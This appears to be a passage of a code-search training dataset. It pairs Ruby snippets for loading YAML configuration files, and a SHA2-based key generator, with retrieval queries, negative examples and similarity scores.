[ "def hash\n require 'yaml'\n hash = YAML.load(File.read(self.yaml_file)) #gets hash from yaml file\n return hash\n end", "def yaml\n @yaml ||= YAML.load_file path\n rescue StandardError\n {}\n end", "def fixture_hash(filename, data: {})\n file = File.read fixture_file(filename)\n YAML.load render_erb(file, data)\n end", "def yaml\n @yaml ||= has_yaml? ? YAML.load(@content) : {}\n end", "def data\n YAML::load_file(files[:config])\n end", "def data\n exist!\n begin\n data = File.read @path\n data = @encrypter.decrypt(data) if encrypt?\n YAML.load data\n rescue Psych::SyntaxError\n raise EntrySyntaxError\n end\n end", "def site_config\n if File.exists?('laze.yml')\n YAML.load_file('laze.yml').symbolize_keys\n else\n {}\n end\n end", "def load_yml_data\n if File.exist? self.class.file_location\n # YAML.load_file returns false if the file exists but is empty. So\n # added the || {} to ensure we always return a hash from this method\n YAML.load_file(self.class.file_location) || {}\n else\n {}\n end\n end", "def yaml\n copy = {}\n @lock.synchronize do\n copy.merge!(@yaml)\n end\n copy\n end", "def read\n unless File.exist?(config_file)\n raise UserError, \"Kitchen YAML file #{config_file} does not exist.\"\n end\n\n Util.symbolized_hash(combined_hash)\n end", "def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend", "def read_yaml_data_file filename\n data = {}\n File.open(filename, 'r') do |f|\n data = YAML.load(f)\n end\n data\nend", "def yaml_config\n IceNine.deep_freeze(YAML.load_file(config_file)) if config_file.file?\n end", "def metadata\n @metadata ||= (\n if md = /\\<\\!\\-\\-\\-(.*?)\\-{2,3}\\>\\s*\\Z/m.match(content)\n YAML.load(md[1])\n else\n {}\n end\n )\n end", "def yaml_config\n IceNine.deep_freeze(YAML.load_file(config_file)) if config_file.file?\n end", "def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end", "def obtain\n return nil unless File.exist?(@path)\n params = YAML.load_file(@path)\n return {} unless params\n return params\n end", "def yaml_properties\n if directory?\n yaml_path = ::File.join(@node.path, @yaml_file)\n @node.repos.stat(yaml_path, @node.rev_num) ?\n YAML.load(@node.repos.file(yaml_path, @node.rev_num)[0]) :\n {}\n else\n has_yaml_props? ?\n YAML.load(yaml_split[0]) :\n {}\n end\n end", "def config\n\tYAML.load(File.open(\"config.yaml\"))\nend", "def body\n return nil unless file?\n has_yaml_props? ?\n yaml_split[1] :\n data[0]\n end", "def yaml_file\n @yaml_file ||= begin\n filename = self.class.to_s.split(\"::\").last\n filename << \"-#{storage_id}\" if storage_id\n File.join(Config.data_path, package.trigger, \"#{filename}.yml\")\n end\n end", "def to_yaml\n require 'yaml'\n self.config.to_hash.to_yaml\n end", "def context\n config.file? ? YAML.load_file(config) : {}\n end", "def context\n config.file? ? YAML.load_file(config) : {}\n end", "def load_hash(hash = nil)\n\tdefault = \"yaml_output.yaml\"\n\tprint \"filename: \"\n\n\tfilename = STDIN.gets.chomp\n\tfilename = filename.downcase == \"def\" ? default : filename\n\tfiletype = filename.split(\".\").last\n\t\n\tfile = File.open(filename, \"rb+\") if exists = File.exist?(filename)\n\n\tif !exists\n\t\tputs \"File #{filename} does not exist\"\n\t\texit(0)\n#\telsif (file_string = file.readlines).length == 0\n#\t\tputs \"File #{filename} is empty\"\n#\t\texit(0)\n\tend\n\n\tbenchmark = Benchmark.measure {puts \"LOADING YAML\"; hash = Marshal::load(file) } if filetype == \"yaml\"\n\tbenchmark = Benchmark.measure {puts \"LOADING JSON\"; hash = JSON.parse(file_string) } if filetype == \"json\"\n\tif hash == nil\n\t\tputs \"invalid filename\" \n\t\texit(0)\n\tend\n\t\n\tputs \"LOAD TIME: #{benchmark}\"\n\tputs \"DONE\\n\"\n\tfile.close\n\treturn hash\nend", "def yaml_file?; end", "def format_as_yaml\n\t\tobjects = {}\n\t\tself.instance_variables.each do |k|\n\t\t\tobjects[k.to_s.gsub('@','')] = instance_eval(k.to_s)\n\t\tend\n\t\tobjects.delete(\"filename\")\n\t\tobjects.delete(\"previous_file\")\n\t\treturn objects\n\tend", "def load_yaml_data( file )\n yaml_data = {}\n yaml_data.merge!( File.open( file ) { |yf| YAML::load( yf ) } )\n\n return yaml_data\n end", "def data\n return {} unless File.exist?(vault_path)\n\n encrypted_file_content = File.open(vault_path, 'rb') { |f| f.read }\n cipher = new_decryption_cipher\n decrypted_file_content = cipher.update(encrypted_file_content) + cipher.final\n\n password_data = YAML.load(decrypted_file_content)\n end", "def read\n return unless File.exist?(filename)\n\n name = DEFAULT_NAME\n save = Hash.new{ |h,k| h[k.to_s] = {} }\n\n File.read(filename).lines.each do |line|\n if md = /^\\[(\\w+)\\]$/.match(line)\n name = md[1]\n end\n if md = /^(\\w+)\\s+(.*?)$/.match(line)\n save[name][md[2]] = md[1]\n end\n end\n\n save.each do |name, digest|\n @saved[name] = digest\n end\n end", "def configfile_hash\n\n config = {}\n begin\n json = File.read(configfile)\n config = JSON.parse(json)\n rescue Errno::ENOENT\n # depending on whether the instance has been saved or not, we may not\n # yet have a configfile - allow to proceed\n @logger.debug \"#{configfile} does not exist\"\n @force_save = true\n rescue JSON::ParserError\n # swallow parse errors so that we can destroy and recreate automatically\n @logger.debug \"JSON parse error in #{configfile}\"\n @force_save = true\n end\n config\n end", "def get_hash()\n\t\t\treturn @config.clone()\n\t\tend", "def yaml_properties\n if directory?\n fs_yaml_path = fs_path.blank? ? 'meta.yml' : File.join(fs_path, 'meta.yml')\n yaml_path = File.join(@path, 'meta.yml')\n repos.stat(fs_yaml_path, revision) ?\n YAML.load(self.class.new(@changeset, yaml_path).body) :\n {}\n else\n has_yaml_props? ?\n YAML.load(yaml_split[0]) :\n {}\n end\n end", "def read_diff(file_path)\n return unless File.readable? file_path\n diff = YAML.load_file file_path\n return unless diff.is_a? Hash\n diff\n end", "def config\n\t\t\t@config ||= begin\n\t\t\t\tfile = File.join(self.location, \"config.yaml\")\n\t\t\t\tif File.exists?(file)\n\t\t\t\t\tYAML::load_file(file)\n\t\t\t\telse\n\t\t\t\t\t{}\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def to_h\n data_fields = EXTERNAL_DATA\n data_fields << :id\n data_fields << :read_count\n data = Hash.new\n data_fields.each do |field|\n if self.respond_to?(field)\n value = self.send(field)\n data[field] = value unless !value\n else\n puts \"ERROR: yaml field not present: #{field}\"\n end\n end\n # ensure these aren't editable afterwards\n cloned_data = Marshal.load(Marshal.dump(data))\n cloned_data\n end", "def to_yaml\n to_hash.to_yaml\n end", "def to_yaml\n to_hash.to_yaml\n end", "def load_yaml(filename)\n\t\tpath = File.realpath(filename)\n\t\tdata = YAML.load_file(path)\n\t\tload_hash(data)\n\tend", "def get_config_data()\n return @evroots_config_data if !@evroots_config_data.nil?\n \n @evroots_config_data = \"\"\n File.open(@evroots_config_path, \"r\") do |file|\n file.each do |line|\n line.gsub!(/^#.*\\n/, '')\n next if line.empty?\n line.gsub!(/^\\s*\\n/, '')\n next if line.empty?\n @evroots_config_data += line\n end\n end\n @evroots_config_data\n end", "def otm_config_hash\n if @otm_confile_file_hash.nil?\n @otm_confile_file_hash = YAML.load(File.read(self.otm_config_file))\n end\n @otm_confile_file_hash \n end", "def otm_config_hash\n if @otm_confile_file_hash.nil?\n @otm_confile_file_hash = YAML.load(File.read(self.otm_config_file))\n end\n @otm_confile_file_hash \n end", "def yaml\n parse_yaml_string(yaml_string(config_file), config_file)\n end", "def to_yaml\n to_hash.to_yaml\n end", "def get_props\n filename = File.join(Rails.root, \"courses\", @course.name, \n @assessment.name, \"#{@assessment.name}.yml\") \n props = {}\n if File.exists?(filename) and File.readable?(filename) then\n f = File.open(filename, 'r')\n props = YAML.load(f.read)\n f.close\n end\n\n if props[\"general\"].has_key?(\"handout_filename\")\n props[\"general\"][\"handout\"] = props[\"general\"][\"handout_filename\"]\n props[\"general\"].delete(\"handout_filename\")\n end\n\n if props[\"general\"].has_key?(\"writeup_filename\")\n props[\"general\"][\"writeup\"] = props[\"general\"][\"writeup_filename\"]\n props[\"general\"].delete(\"writeup_filename\")\n end\n \n return props\n end", "def yaml\n @config.to_yaml\n end", "def to_yaml(file=nil)\n hsh = to_hash\n string = hsh.to_yaml\n if file\n File.open(file, 'w') {|v| v.print string }\n end\n string\n end", "def to_hash\n @parent ? @yaml.merge({@parent => super}) : super\n end", "def metadata_hash\n @metadata_hash ||= YAML.load(@chunked_source.metadata) || {}\n rescue Psych::SyntaxError\n msg = \"Bad metadata hash - are you sure it's valid YAML?\\n#{@chunked_source.metadata}\"\n raise SyntaxError, msg\n end", "def to_yaml\n\t\tYAML::dump self.to_hash\n\tend", "def meta_data\n return if @meta_end.nil?\n\n cur, meta_end, @meta_end = tell, @meta_end, nil\n seek 0\n return YAML.load(self)\n\n ensure\n @meta_end = meta_end if defined? meta_end and meta_end\n seek cur if defined? cur and cur\n end", "def config\n @config ||= YAML.load File.read(@config_file)\n end", "def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end", "def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end", "def yml_config\n return @yml_config if @yml_config\n\n require 'yaml'\n data = File.open(options[:config_path]).read\n\n require 'erb'\n data = ERB.new(data).result(binding)\n\n @yml_config ||= YAML.load(data)\n end", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def to_yaml\n to_hash.to_yaml\n end", "def yaml(filename)\n YAML.load(IO.read(filename).gsub(/---\\z/, ''))\nend", "def to_yaml\n YAML.dump(to_h)\n rescue => err\n raise ParseError.new(err), err\n end", "def file_hash\n return @file_hash\n end", "def read_yaml(base, name)\n filename = File.join(base, name)\n\n begin\n content = File.read(filename)\n if content =~ Jekyll::Document::YAML_FRONT_MATTER_REGEXP\n content = $POSTMATCH # rubocop:disable Lint/UselessAssignment\n data = SafeYAML.load(Regexp.last_match(1))\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n rescue StandardError => e\n Jekyll.logger.warn \"Error reading file #{filename}: #{e.message}\"\n raise e if site.config[\"strict_front_matter\"]\n end\n\n data || {}\n end", "def params\n begin\n YAML::load(File.open(@config))\n rescue\n {}\n end\n end", "def load_config\n cfg = File.open(CONFIG) { |yf| YAML::load( yf ) } if File.exists?(CONFIG)\n # => Ensure loaded data is a hash. ie: YAML load was OK\n if cfg.class != Hash\n raise \"ERROR: Configuration - invalid format or parsing error.\"\n else\n if cfg['login'].nil?\n raise \"ERROR: Configuration: login not defined.\"\n end\n end\n\n return cfg\nend", "def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end", "def load_yaml(filename); end", "def load_config\n config_data = File.read(app_config_file)\n YAML.load(config_data) || {}\n end", "def load_yaml(path) # Path must be in /data\n # path must be a yaml file path\n YAML.load_file(File.join(__dir__, \"../data/#{path}.yml\"))\n # YAML keys will be allways strings (never symbols)\n # Returns hash of values (strings)\nend", "def loadData!\n v = validateWorkingDir!\n @plataforms = YAML::load_file(File.open(getWorkingDir+'/data.host', 'r'))\n if(@plataforms == false)\n @plataforms = Hash.new\n end\n return v\n end", "def config\n ensure_config_exists\n @config ||= (YAML.load_file(config_file) || {})\n end", "def to_yaml() end", "def combined_hash\n y = if @process_global\n normalize(global_yaml).rmerge(normalize(yaml))\n else\n normalize(yaml)\n end\n @process_local ? y.rmerge(normalize(local_yaml)) : y\n end", "def load_config_file( filename )\n\n begin\n config_erb = ERB.new( IO.read( filename ) ).result( binding )\n rescue StandardError => ex\n raise( \"#{filename} could not be parsed with ERB. \\n#{ex.inspect}\" )\n end\n\n begin\n yml = YAML.load( config_erb )\n rescue Psych::SyntaxError => ex\n raise \"#{filename} could not be parsed as YAML. \\nError #{ex.message}\"\n end\n\n config = yml.symbolize_keys\n return config.symbolize_keys || {}\n end", "def file( config_file )\n unless File.exists?( config_file )\n raise BadConfigurationException, \"No user defined configuration \" + \n \"file found at #{config_file}.\"\n else\n begin\n config = YAML.load_file(config_file)\n unless config.respond_to? :[]\n raise BadConfigurationException, \"YAML file expected to contain \"+\n \"a hash but did not. Fix #{config_file} and try again.\" \n else\n return config.symbolize_keys!(:deep)\n end\n rescue Exception => e\n raise BadConfigurationException, \"Failed to load user defined \" +\n \"configuration file #{config_file}.\\n\\t#{e}\"\n end\n end \n end", "def base_config\n if engine_config.config\n ::HamlLint::ConfigurationLoader.load_file(engine_config.config)\n else\n ::HamlLint::ConfigurationLoader.load_applicable_config\n end\n end", "def load_storage\n YAML.load_file(file_path) || {}\n end", "def get_config_file\n\t\t\t@@config_file_data ||= (\n\t\t\t\tconfig_file_name = @config[:file_name] || (RFM_CONFIG[:file_name] rescue nil) || 'rfm.yml'\n\t\t\t\tconfig_file_paths = [''] | (@config[:file_path] || (RFM_CONFIG[:file_path] rescue nil) || %w( config/ ))\n\t\t\t\tconfig_file_paths.collect do |f|\n\t\t\t\t\t(YAML.load_file(\"#{f}#{config_file_name}\") rescue {})\n\t\t\t\tend.inject({}){|h,a| h.merge(a)}\n\t\t\t) || {}\n\t\tend", "def config\n @config ||= YAML.load_file(@config_file_path)\n end", "def to_yaml\n yamlhash = {}\n instance_variables.each do |var|\n yamlhash[var[1..-1]] = instance_variable_get(var) if (var != \"@hdr_data\")\n end\n return yamlhash.to_yaml\n end", "def dump (filepath = BLOCKS_PATH)\n # Compare saved Hash with existing files in cms/Blocks/Modules\n # Delete files which are not in the Hash anymore\n self.compare true\n\n # Save the .yaml\n File.open(filepath, 'w') do |out|\n YAML::dump(@source, out)\n end\n end", "def get_forum_config_data\n config_hash = Hash.new\n c = File.read( File.join( RAILS_ROOT, 'public' , 'forum', 'config.php' ) )\n c.scan(/\\$(\\w*)\\s*=\\s*['&quot;](.*)['&quot;];/).each do |pair|\n config_hash[pair[0].to_sym] = pair[1]\n end\n config_hash\n end", "def fetch_config\n Rails.logger.debug \"Loading #{@file}::#{@env}\" if Object.const_defined?('Rails') && Rails.logger.present?\n YAML::load_file(@file)[@env.to_s]\n end", "def remote_sha256_update_info\n return nil unless (temp_remote_sha256_update_info = read_attribute(:remote_sha256_update_info))\n # logger.debug2 \"temp_remote_sha256_update_info = #{temp_remote_sha256_update_info}\"\n YAML::load temp_remote_sha256_update_info\n end", "def get_config(fn)\n YAML.load_file(fn).symbolize_keys\nend", "def get_yaml_data_from_file(file)\n parsed = begin\n YAML.load(File.open(file))\n rescue ArgumentError => e\n fatal_error(\"invalid YAML syntax in file #{file}\")\n end\n return parsed\nend", "def read_config_file\n config_hash = {}\n if File.file? @config_file\n begin\n config_hash = JSON.parse(File.read(@config_file))\n rescue StandardError => e\n raise ConfigError.new(\"parsing configuration file: #{e}\")\n end\n end\n config_hash\n end", "def config_for name\n yaml = SpaceScrape.root.join 'config', \"#{ name }.yml\"\n\n unless yaml.exist?\n raise \"Could not load configuration. No such file - #{ yaml }\"\n end\n\n erb = ERB.new(yaml.read).result\n erbd_yaml = YAML.load erb\n\n erbd_yaml[SpaceScrape.environment.to_s] || {}\n rescue YAML::SyntaxError => e\n raise \"YAML syntax error occurred while parsing #{ yaml }. \" \\\n \"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. \" \\\n \"Error: #{ e.message }\"\n end", "def fetch_sync_yml\n if @owner == Pluginsync::Github::INTEL_ORG\n path = File.join(Pluginsync::PROJECT_PATH, 'config_defaults.yml')\n config = Pluginsync::Util.load_yaml(path)\n config.extend Hashie::Extensions::DeepMerge\n config.deep_merge(yml_content('.sync.yml'))\n else\n {}\n end\n end", "def load\n if File.file?(@file_name)\n File.open(@file_name, 'r') do |file|\n YAML::load(file)\n end\n else\n default\n end\n end", "def read\n result = {}\n \n Dir[File.join(Rails.root.join('config/locales'), '*.yml')].sort.each do |file|\n yml = YAML::load(IO.read(file))\n hash = @locale ? yml.to_hash[@locale] : yml.to_hash\n result.deep_merge! hash unless hash.nil?\n end\n\n result\n end", "def to_yaml\n to_parsed.to_yaml\n end", "def data_links\r\n puts \"pwd:\"\r\n puts Dir.pwd\r\n\r\n data = YAML.load_file( './data/links.yml' )\r\n puts data.inspect\r\n data\r\nend", "def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end", "def to_yaml\n to_h.to_yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def to_yaml\n require \"yaml\"\n @configuration.to_yaml\n end", "def get_yaml_data_from_file_or_die(file)\n parsed = begin\n YAML.load(File.open(file))\n rescue ArgumentError => e\n fatal_error(\"invalid YAML syntax in file #{file}\")\n end\n return parsed\nend", "def config\n @config ||= begin\n if File.exist?(@config_file)\n begin\n YAML.load_file(@config_file) || {}\n rescue Psych::SyntaxError => e\n raise PgSync::Error, e.message\n end\n else\n {}\n end\n end\n end", "def serialized_filename\n \"#{self.name}.yaml\"\n end", "def config_file(path=nil)\n path ||= DEFAULT_CONFIG_PATH\n\n if File.exist? path then\n cfg = YAML.load(File.open(path))\n # symbolize keys\n cfg = cfg.inject({}){|memo,(k,v)| memo[k.to_sym] = v; memo}\n return cfg\n end\n\n return nil\n end", "def loadyaml(filename) YAML.load_file(filename) end" ]
[ "0.7555531", "0.60180765", "0.59964794", "0.5976259", "0.59742755", "0.594057", "0.5938272", "0.59244937", "0.5893305", "0.5852357", "0.5849291", "0.5849162", "0.5836411", "0.5816448", "0.58009464", "0.5774561", "0.5745079", "0.57298476", "0.57248044", "0.5685182", "0.56753", "0.5638115", "0.5634874", "0.5634874", "0.5631675", "0.5615808", "0.5599966", "0.557253", "0.5548409", "0.55387026", "0.55326176", "0.550503", "0.54914075", "0.5471622", "0.5470501", "0.5453728", "0.54514086", "0.54514086", "0.5447944", "0.54375196", "0.5423841", "0.54227495", "0.5421056", "0.5403653", "0.5393004", "0.53818226", "0.538163", "0.5380569", "0.53794473", "0.5371744", "0.5355681", "0.53449744", "0.5344442", "0.5344442", "0.5330501", "0.5328789", "0.5327471", "0.53263336", "0.5320038", "0.53066087", "0.530263", "0.53026265", "0.5296213", "0.52960676", "0.5293612", "0.52884513", "0.5272659", "0.5265577", "0.5261394", "0.5258922", "0.5257775", "0.5255414", "0.5249967", "0.524029", "0.52379465", "0.5219721", "0.52010405", "0.5199854", "0.5199064", "0.5196017", "0.51847684", "0.51794505", "0.51768553", "0.51695645", "0.5159796", "0.5154647", "0.5153194", "0.5144443", "0.51437676", "0.51387584", "0.5136589", "0.5127988", "0.51274085", "0.51266015", "0.51266015", "0.5125339", "0.5116742", "0.511664", "0.5104125", "0.5102847" ]
0.54298216
40
Using SHA2 => no collisions, 512 bits output
def gen_key(record) return Digest::SHA2.hexdigest(record.to_s) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sha512; end", "def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end", "def sha256; end", "def sha2?; @sha2; end", "def hash_secure\n sha256 = OpenSSL::Digest::SHA256.new\n enc64(sha256.digest)\n end", "def digest\n Digest::SHA2.new\n end", "def hash256(hex)\n binary = [hex].pack(\"H*\")\n hash1 = Digest::SHA256.digest(binary)\n hash2 = Digest::SHA256.digest(hash1)\n result = hash2.unpack(\"H*\")[0]\n return result\nend", "def chkall\n (1..@@pow2_N).to_a.each do |i|\n h = sha32b(\"#{i}\")\n @allhash[h] = 0 if !@allhash[h]\n @allhash[h] += 1\n end\n @allhash.size\n end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def HMAC_SHA2_256 key, msg\n # skipping the key hashing step, as we can assume that it's small enough\n blockSize = 512 / 8\n key = key.ljust blockSize, 0\n o_padded = key.xor ([0x5c] * blockSize).each\n i_padded = key.xor ([0x36] * blockSize).each\n\n o = SHA256(o_padded + SHA256(i_padded + msg))\nend", "def SHA256 arr\n Digest::SHA256.digest(arr.map(&:chr).join).bytes\nend", "def hash_secure\n # TODO: implement this method\n # - Use sha256 from openssl to create a cryptographically secure hash.\n # - Credit cards with identical information should produce the same hash\n OpenSSL::Digest::SHA256.digest(to_s).unpack(\"H*\")\n end", "def to_sha2(salt = \"\")\n hashsum(:sha2, salt)\n end", "def H(n, *a)\n nlen = 2 * (((n.to_hex_string).length * 4 + 7) >> 3)\n hashin = a.map {|s|\n next unless s\n shex = s.class == String ? s : s.to_hex_string\n if shex.length > nlen\n raise 'Bit width does not match - client uses different prime'\n end\n '0' * (nlen - shex.length) + shex\n }.join('')\n sha512_hex(hashin).hex % n\n end", "def hash_secure\n # TODO: Use sha256 from openssl to create a cryptographically secure hash.\n # Credit cards with identical information should produce the same hash.\n\n sha256 = OpenSSL::Digest::SHA256.new\n sha256.digest(self.to_s).unpack('h*')\nend", "def hash256(hex)\n binary = [hex].pack(\"H*\")\n hash1 = Digest::SHA256.digest(binary)\n hash2 = Digest::SHA256.digest(hash1)\n return hash2.unpack(\"H*\").join\n end", "def call( *args )\n text = args.shift.to_s\n bitlength = (args.shift || 256).to_i\n Digest::SHA2.new( bitlength ).hexdigest( text )\n end", "def sha512?; @sha512; end", "def hash_sha256(input)\n Digest::SHA2.new(256).digest(input)\n end", "def sha1(message, hash_words = nil, add_to_length = 0)\n hash_words ||= [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0] # 5.3.1\n\n # 5.1.1\n # Big-endian u_int32 chunks\n pad_string = mdpad(message, :big, add_to_length).unpack('N*')\n\n # 6.1.2\n pad_string.each_slice(16).each do |chunk| # Split pad_string into 512b chunks (16 * 32b) -- 6.1.2 - 1. Prepare the message schedule\n #Expand from sixteen to eighty -- 6.1.2 - 1. Prepare the message schedule\n (16..79).each { |i| chunk << leftrotate(chunk[i-3] ^ chunk[i-8] ^ chunk[i-14] ^ chunk[i-16], 1) }\n working_vars = hash_words.dup # Copy current hash_words for next round. -- 6.1.2 - 2. Initialize the five working variables.\n\n # 6.1.2 - 3. & 4.1.1 - SHA-1 Functions\n (0..79).each { |i|\n if 0 <= i && i <= 19\n f = (working_vars[1] & working_vars[2]) | (~working_vars[1] & working_vars[3])\n k = 0x5A827999\n elsif 20 <= i && i <= 39\n f = working_vars[1] ^ working_vars[2] ^ working_vars[3]\n k = 0x6ED9EBA1\n elsif 40 <= i && i <= 59\n f = (working_vars[1] & working_vars[2]) | (working_vars[1] & working_vars[3]) | (working_vars[2] & working_vars[3])\n k = 0x8F1BBCDC\n elsif 60 <= i && i <= 79\n f = working_vars[1] ^ working_vars[2] ^ working_vars[3]\n k = 0xCA62C1D6\n end\n # Complete round & Create array of working variables for next round.\n temp = (leftrotate(working_vars[0], 5) + f + working_vars[4] + k + chunk[i]) & 0xffffffff\n working_vars = [temp, working_vars[0], leftrotate(working_vars[1], 30), working_vars[2], working_vars[3]]\n }\n\n # 6.1.2 - 4. Compute the ith intermediate hash value\n hash_words = working_vars.zip(hash_words).map { |wv, hw| (hw + wv) & 0xffffffff }\n end\n\n # Block: Append string with hex formatted partial result, padding 0's due to ruby truncating leading 0's from hex output\n hash_words.map { |partial| partial.to_s(16).rjust(8, ?0) }.join\nend", "def create_digest(string, bit_size)\n Digest::SHA1.hexdigest(string).hex.to_s(2).rjust(40*4, '0')[0..bit_size-1].to_i(2)\nend", "def core_sha1(x, len)\n # append padding\n x[len >> 5] ||= 0\n x[len >> 5] |= 0x80 << (24 - len % 32)\n x[((len + 64 >> 9) << 4) + 15] = len\n\n w = Array.new(80, 0)\n a = 1_732_584_193\n b = -271_733_879\n c = -1_732_584_194\n d = 271_733_878\n e = -1_009_589_776\n\n # for(var i = 0; i < x.length; i += 16)\n i = 0\n while i < x.length\n olda = a\n oldb = b\n oldc = c\n oldd = d\n olde = e\n\n # for(var j = 0; j < 80; j++)\n j = 0\n while j < 80\n if j < 16\n w[j] = x[i + j] || 0\n else\n w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1)\n end\n\n t = safe_add(safe_add(rol(a, 5), sha1_ft(j, b, c, d)),\n safe_add(safe_add(e, w[j]), sha1_kt(j)))\n e = d\n d = c\n c = rol(b, 30)\n b = a\n a = t\n j += 1\n end\n\n a = safe_add(a, olda)\n b = safe_add(b, oldb)\n c = safe_add(c, oldc)\n d = safe_add(d, oldd)\n e = safe_add(e, olde)\n i += 16\n end\n [a, b, c, d, e]\n end", "def make_hash\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n string = \"\"\n 20.times do\n string << chars[rand(chars.size-1)]\n end\n hash = Digest::SHA2.hexdigest(string)\n end", "def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end", "def core_sha1(x, len)\n # append padding\n x[len >> 5] ||= 0\n x[len >> 5] |= 0x80 << (24 - len % 32)\n x[((len + 64 >> 9) << 4) + 15] = len\n\n w = Array.new(80, 0)\n a = 1732584193\n b = -271733879\n c = -1732584194\n d = 271733878\n e = -1009589776\n\n #for(var i = 0; i < x.length; i += 16)\n i = 0\n while(i < x.length)\n olda = a\n oldb = b\n oldc = c\n oldd = d\n olde = e\n\n #for(var j = 0; j < 80; j++)\n j = 0\n while(j < 80)\n if(j < 16) \n w[j] = x[i + j] || 0\n else \n w[j] = rol(w[j-3] ^ w[j-8] ^ w[j-14] ^ w[j-16], 1)\n end\n\n t = safe_add(safe_add(rol(a, 5), sha1_ft(j, b, c, d)),\n safe_add(safe_add(e, w[j]), sha1_kt(j)))\n e = d\n d = c\n c = rol(b, 30)\n b = a\n a = t\n j += 1\n end\n\n a = safe_add(a, olda)\n b = safe_add(b, oldb)\n c = safe_add(c, oldc)\n d = safe_add(d, oldd)\n e = safe_add(e, olde)\n i += 16\n end\n return [a, b, c, d, e]\n end", "def sha1(string,\n\t\tpad = true,\n\t\th = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0])\n\t# functions and constants\n\tmask = 0xffffffff\n\n\ts = proc{|n, x| ((x << n) & mask) | (x >> (32 - n))}\n\tf = [\n\t\tproc {|b, c, d| (b & c) | (b.^(mask) & d)},\n\t\tproc {|b, c, d| b ^ c ^ d},\n\t\tproc {|b, c, d| (b & c) | (b & d) | (c & d)},\n\t\tproc {|b, c, d| b ^ c ^ d},\n\t].freeze\n\n\tk = [0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6].freeze\n\n\tif pad\n\t\tstring = sha1padding(string)\n\tend\n\n\tif string.size % 64 != 0\n\t\tfail \"failed to pad to correct length\"\n\tend\n\n\t#hashing\n\tio = StringIO.new(string)\n\tblock = \"\"\n\n\twhile io.read(64, block)\n\t\tw = block.unpack(\"N16\")\n\n\t\t# Process block.\n\t\t(16..79).each {|t| w[t] = s[1, w[t-3] ^ w[t-8] ^ w[t-14] ^ w[t-16]]}\n\n\t\ta, b, c, d, e = h\n\t\tt = 0\n\t\t4.times do |i|\n\t\t\t20.times do\n\t\t\t\ttemp = (s[5, a] + f[i][b, c, d] + e + w[t] + k[i]) & mask\n\t\t\t\ta, b, c, d, e = temp, a, s[30, b], c, d\n\t\t\t\tt += 1\n\t\t\tend\n\t\tend\n\n\t\t[a,b,c,d,e].each_with_index {|x,i| h[i] = (h[i] + x) & mask}\n\tend\n\treturn h.pack(\"N5\").bytes\nend", "def createSHAHash(data)\n\t\treturn Digest::SHA1.digest(data)\n\tend", "def sha_to_b62 sha\n sint = sha.to_i(16)\n res = \"\"\n digits = (\"0\"..\"9\").to_a + (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a\n while sint > 0\n rest,units = sint.divmod(62)\n res = digits[units] + res\n sint = rest\n end\n return res\nend", "def sha_hash (arg)\r\n Digest::SHA2.hexdigest(arg)\r\n end", "def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end", "def sha1; end", "def sha1; end", "def hex_digest(data)\n OpenSSL::Digest::SHA512.hexdigest(data)\n end", "def hash(*) end", "def secure_hash(string)\n\t Digest::SHA2.hexdigest(string)\n\tend", "def get_pre_keyed_hash(password)\n md = OpenSSL::Digest::SHA1.new\n passwd_bytes = []\n password.unpack('c*').each do |byte|\n passwd_bytes << (byte >> 8)\n passwd_bytes << byte\n end\n md << passwd_bytes.pack('c*')\n md << 'Mighty Aphrodite'.force_encoding('UTF-8')\n md\n end", "def hard(string)\n hasher = KnotHash.new(256, string.bytes + [17, 31, 73, 47, 23])\n 64.times { hasher.round }\n hasher.hash\nend", "def sha256\n @sha256 ||= digest(path, :sha256)\n end", "def to_sha512\n ::Digest::SHA512.hexdigest self\n end", "def generate_digest(data)\n Digest::SHA512.hexdigest \"#{data}#{@secret}\"\n end", "def sha\n Digest::SHA2.new.update(self.source).to_s\n end", "def H(n, *a)\n nlen = 2 * ((('%x' % [n]).length * 4 + 7) >> 3)\n hashin = a.map {|s|\n next unless s\n shex = s.class == String ? s : \"%x\" % s\n if shex.length > nlen\n raise \"Bit width does not match - client uses different prime\"\n end\n \"0\" * (nlen - shex.length) + shex\n }.join('')\n sha1_hex(hashin).hex % n\n end", "def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end", "def calc_sha256 (secret)\n return nil if dummy_user?\n if provider == 'facebook'\n # uid cannot be used as global id for fb users. different uid f\n sha256_input = \"#{secret},#{self.api_profile_picture_url}/#{self.provider},#{self.user_name}\"\n else\n sha256_input = 